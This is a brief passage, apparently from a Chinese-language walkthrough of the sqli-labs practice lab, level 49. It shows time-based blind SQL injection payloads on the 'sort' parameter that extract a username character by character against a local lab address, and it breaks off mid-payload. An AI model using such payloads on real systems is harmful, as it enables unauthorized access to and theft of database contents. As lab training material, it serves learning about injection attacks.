sort=1'and (if(ascii(substr((select username from users limit 0,1),1,1))=69,0,sleep(1)))--+ 0x4第四十九关 这关和第四十七关的区别在于没有报错信息 http://192.168.232.135/sqli-labs-master/Less-49/?sort=1'and (if(ascii(substr((select username from users limit 0,1),1,1))=69,...